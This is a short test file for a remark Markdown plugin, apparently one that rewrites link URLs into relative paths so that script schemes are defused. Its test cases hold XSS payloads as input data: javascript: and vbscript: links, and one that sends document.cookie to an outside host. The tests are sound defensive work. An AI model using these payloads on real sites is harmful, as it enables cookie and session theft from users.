aboutsummaryrefslogtreecommitdiff
path: root/__tests__/index.js
blob: f6c8b9f7cd2a6b0cd10cde25290e8fa6aa2e6c7a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'use strict';

import remark from 'remark';
import plugin from '..';
import test from 'ava';

const processor = str => remark().use(plugin).processSync(str);

const testInfos = [
  {name: 'example', base: '[link](url)', result: '[link](/url)\n'},
  {name: 'local link', base: '[link](/url)', result: '[link](/url)\n'},
  {name: 'auto link', base: '<http://ache>', result: '<http://ache>\n'},
  {name: 'auto link js', base: '<javascript:alert(11);//://XSS>', result: '[javascript:alert(11);//://XSS](/javascript:alert(11);//://XSS)\n'},
  {name: 'js XSS', base: '[lol](javascript:console.log($.post("https://12z.fr/"+document.cookie)))', result: '[lol](/javascript:console.log($.post("https://12z.fr/"+document.cookie)))\n'},
  {name: 'vbscript XSS', base: '[lol](vbscript:msgbox("XSS"))', result: '[lol](/vbscript:msgbox("XSS"))\n'},
];

testInfos.forEach(testInfo => {
  test(testInfo.name, t => {
    const {base} = testInfo;
    const {result} = testInfo;
    t.is(processor(base).contents, result);
  });
});